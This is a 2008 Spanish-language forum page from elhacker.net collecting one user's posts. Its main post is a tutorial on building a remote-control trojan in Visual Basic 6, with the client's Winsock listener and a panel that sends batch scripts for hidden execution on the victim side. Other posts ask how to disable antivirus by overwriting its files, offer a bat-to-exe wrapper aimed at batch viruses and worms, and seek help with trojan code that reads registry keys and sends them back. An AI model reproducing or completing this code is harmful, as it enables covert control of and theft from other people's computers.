elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


  Mostrar Temas
Páginas: 1 2 [3] 4 5
21  Programación / Programación Visual Basic / [manual]como hacer un troyano medio by krackwar en: 6 Abril 2008, 22:05 pm
bueno con este manual planeo enseñar como crear un troyano de dificultad media con conocimientos basicos:
materiales:
partes
bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
1ª_parte
Cliente
bueno empesaremos a programar el cliente.
Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas)  , luego dentro del evento click del command1 pondremos
Código
  1. frame1.visible = true
osea el code completo del programa seria
Código
  1. Private Sub Command1_Click()
  2. Frame1.Visible = True
  3. End Sub
luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
la parte grafica debe estar quedando mas o menos asi.

Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos
Código
  1. On Error Resume Next 'esto es para que en un error prosiga i no pare
  2. ws.Close 'cerramos la conexion
  3. ws.Accept requestID 'acepta cualquier conexion entrante
  4. timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
  5. timer1.Enabled = True 'abilitaremos el timer1
luego pondremos en el evento timer del timer1 el siguinte codigo:
Código
  1. If ws.State = 0 Then
  2. Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
  3. ws.Close 'cerramos la conexion
  4. ws.Listen 'escuchamos
  5. End If ' teminamos el if
  6. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
  7. If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
aora en el evento click del command2 que es el que dice conectar pondremos
Código
  1. On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
  2. ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
  3. ws.Close                                                            'cierra cualquier conexion que alla con este programa
  4. ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
  5. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:
Código
  1. If ws.State = 7 Then 've si estamos conectados
  2. ws.Close ' si estamos conectados nos desconecta
  3. Else
  4. MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
  5. End If 'teminamos el if
bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :
Código
  1. Private Sub Command2_Click()
  2. On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
  3. ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
  4. ws.Close                                                            'cierra cualquier conexion que alla con este programa
  5. ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
  6. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
  7. End Sub
  8.  
  9.  
  10.  
  11. Private Sub Command3_Click()
  12. If ws.State = 7 Then 've si estamos conectados
  13. ws.Close ' si estamos conectados nos desconecta
  14. Else
  15. MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
  16. End If 'teminamos el if
  17. End Sub
  18.  
  19. Private Sub Timer1_Timer()
  20. If ws.State = 0 Then
  21. Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
  22. ws.Close 'cerramos la conexion
  23. ws.Listen 'escuchamos
  24. End If ' teminamos el if
  25. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
  26. If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
  27.  
  28.  
  29. End Sub
  30.  
  31. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  32. On Error Resume Next 'esto es para que en un error prosiga i no pare
  33. ws.Close 'cerramos la conexion
  34. ws.Accept requestID 'acepta cualquier conexion entrante
  35. Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
  36. Timer1.Enabled = True 'abilitaremos el timer1
  37. End Sub
  38.  
  39.  
bueno aora haremos el creaador de bats remoto.
primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos
Código
  1. Frame1.Visible = False ' ocultamos el frame1
  2. Frame2.Visible = True ' mostramos el frame2
i en el evento click del command1 ponemos
Código
  1. Frame2.Visible = False ' ocultamos el frame2
  2. Frame1.Visible = True ' mostramos el frame1
osea el code de estos dos botones queda asi:
Código
  1. Private Sub Command1_Click()
  2. Frame2.Visible = False ' ocultamos el frame2
  3. Frame1.Visible = True ' mostramos el frame1
  4. End Sub
  5. Private Sub Command4_Click()
  6. Frame1.Visible = False ' ocultamos el frame1
  7. Frame2.Visible = True ' mostramos el frame2
  8. End Sub
bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
 deberia estar quedando mas o menos asi:

bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones
Código
  1. vista = "true" ' cambiamos la variable vista a true
i en el evento click del option2
Código
  1. vista = "falso" ' cambiamos la variable vista a falso
luego declaramos la variable global separador tipo string i en el evento load del form ponemos
Código
  1. separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano

 luego en el evento click del command5 ponemos ponemos
Código
  1. ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
bueno asta aca el codigo completo seria
Código
  1. Dim separador As String
  2. Dim vista As String
  3.  
  4.  
  5. Private Sub Command1_Click()
  6. Frame2.Visible = False ' ocultamos el frame2
  7. Frame1.Visible = True ' mostramos el frame1
  8. End Sub
  9.  
  10. Private Sub Command2_Click()
  11. On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
  12. ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
  13. ws.Close                                                            'cierra cualquier conexion que alla con este programa
  14. ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
  15. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
  16. End Sub
  17.  
  18.  
  19.  
  20. Private Sub Command3_Click()
  21. If ws.State = 7 Then 've si estamos conectados
  22. ws.Close ' si estamos conectados nos desconecta
  23. Else
  24.  
  25. MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
  26. End If 'teminamos el if
  27. End Sub
  28.  
  29. Private Sub Command4_Click()
  30. Frame1.Visible = False ' ocultamos el frame1
  31. Frame2.Visible = True ' mostramos el frame2
  32.  
  33. End Sub
  34.  
  35.  
  36. Private Sub Command5_Click()
  37. ws.SendData Text2.Text & separador & vista
  38. End Sub
  39.  
  40. Private Sub Form_Load()
  41. separador = "@^^^%/()!||||¿?¿?¿?_--"
  42. End Sub
  43.  
  44. Private Sub Option1_Click()
  45. vista = "true"
  46. End Sub
  47.  
  48. Private Sub Option2_Click()
  49. vista = "falso"
  50. End Sub
  51.  
  52. Private Sub Timer1_Timer()
  53. If ws.State = 0 Then
  54. Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
  55. ws.Close 'cerramos la conexion
  56. ws.Listen 'escuchamos
  57. End If ' teminamos el if
  58. If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
  59. If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
  60.  
  61.  
  62. End Sub
  63.  
  64. Private Sub ws_ConnectionRequest(ByVal requestID As Long)
  65. On Error Resume Next 'esto es para que en un error prosiga i no pare
  66. ws.Close 'cerramos la conexion
  67. ws.Accept requestID 'acepta cualquier conexion entrante
  68. Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
  69. Timer1.Enabled = True 'abilitaremos el timer1
  70. End Sub
22  Programación / Programación Visual Basic / artos comandos en un cmd en: 27 Marzo 2008, 13:38 pm
bueno,quiero saber si ai un modo para que si ejecuto un comando en una cmd con
Código:
shell(cmd comando)
i luego ponga
Código:
shell(cmd comando2)
los dos comandos me aparescan en la misma cmd ya que si lo ago como lo puse ai se me abren 2 cmds distintos
gracias de antemano
23  Programación / Programación Visual Basic / [source]visor de api's en: 22 Marzo 2008, 23:52 pm
bueno el otro dia buscando cosas para VB encontre este visor de api's ,viene con el source code i todo para que vean como se usan ,bueno les dejo el link
descargar
24  Programación / Programación Visual Basic / av-killer en: 26 Febrero 2008, 16:57 pm
para un av-killer serviria por ejemplo que abra los archiovos de los antivirus en modo bynario i les pusiera cualquier cosa yo se que para los archivos normales los hecha a perder pero no se si tienen alguna proteccion contra esto mi pregunta es 
¿¿¿¿esto desabilitaria el  av???

pd:perdon por no probarlo yo mismo pero estoi en la casa de una tia que no tiene ni el vb6 ni antivirus
25  Programación / Scripting / transformer 2.0(bat a exe) en: 26 Febrero 2008, 06:17 am
bueno aca viene la segunda version de mi programa que la postie con el soruce code en l aseccion de vb pero por problemas voi a poder poner el puro programa i nada mas hasta como 5 dias

bueno para los que no sepan que hace mi programa lo que hace es transformar un bat a un exe ademas de agregarle opciones de bloqueos i forma oculta o visible de ejecucion.la diferencia con el 1.5 es que este cifra el archivo bat cosa que nadie lo pueda modificar
descargar:http://rapidshare.com/files/94985485/transformer_2.0_by_krackwar.rar.html
26  Programación / Programación Visual Basic / [source]transformer en: 22 Febrero 2008, 03:03 am
bueno aca les dejo mi nueva creacion que la hice en un mometo de aburrimiento .Bueno le explicare lo que hace mi creacion


transformer

explicare mi creacion
¿que hace?
transforma un archivo *.bat a *.exe
¿que opciones tiene?
bueno como esta es la primera version solo tiene la opcion de hacer que el archivo se ejecute visible o ocultamente
¿a que tipo de programas esta orientado?
a los virus, gusanos ,etc... que esten hechos en batch

descargar:http://rapidshare.com/files/93840629/transformer_by_me.rar.html
27  Programación / Programación Visual Basic / esconder i mostrar frame en: 17 Febrero 2008, 23:05 pm
alguien sabe como puedo hacer para que si tengo dos frame en un mismo lugar que al apretar un boton me muestre un frame i al apretar otro me esconda el primer frame i mustre el segundo i si aprieto otro boton que me oculte el segundo frame i me muestre el primero

gracias de antemano

saludoz
28  Programación / Programación Visual Basic / error en code en: 13 Febrero 2008, 15:16 pm
ola , estoi asiendo un troyano i el serveer me esta dando error al ocupar una de las opciones de mi troyano que lo que ase es leer una clave del registro i emviarla al cliente i este lo muestra como una msgbox  aki va el code
----------en el server-------------
Código:
If Left(datos, 2) = "hk" Then
Dim ind As Object
    Set ind = CreateObject("WScript.Shell")
    Dim tmp As String
    tmp = wsh.RegRead datos
    ws.SendData "2020" & tmp
 End If
.-----en el cliente-------
Código:
if left(datos , 4 ) ="2020" then 
 datos = Right(datos, Len(datos) - 4)
msgbox ("datos , vbokonly , registro")
---------------------------------------------------------
bueno sobra decir que esta puesto en ws_DataArrival las dos i que datos es la informacion que llega que funciona en toda las otras opciones bueno ssi alguien me puede decir el error se lo agradecería


gracias de antemano ;)
29  Programación / Programación Visual Basic / api de messenger en: 31 Enero 2008, 15:30 pm
ola ,  por que me sale esto al compilar :huh: :huh:
30  Foros Generales / Sugerencias y dudas sobre el Foro / blokiar mensajes privados en: 27 Enero 2008, 02:00 am
ola , mi pregunta es si se puede "filtrar el contenido de un mensaje privado" para que no te puedan emviar mensajes privados como este :huh: :huh:
hola man ....te puedo pedir un favor sabes como bajar un programa para descifrar una cuenta de un juego es que me la rrovaron y quiero recuperarla me alludas plizzz

Páginas: 1 2 [3] 4 5
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines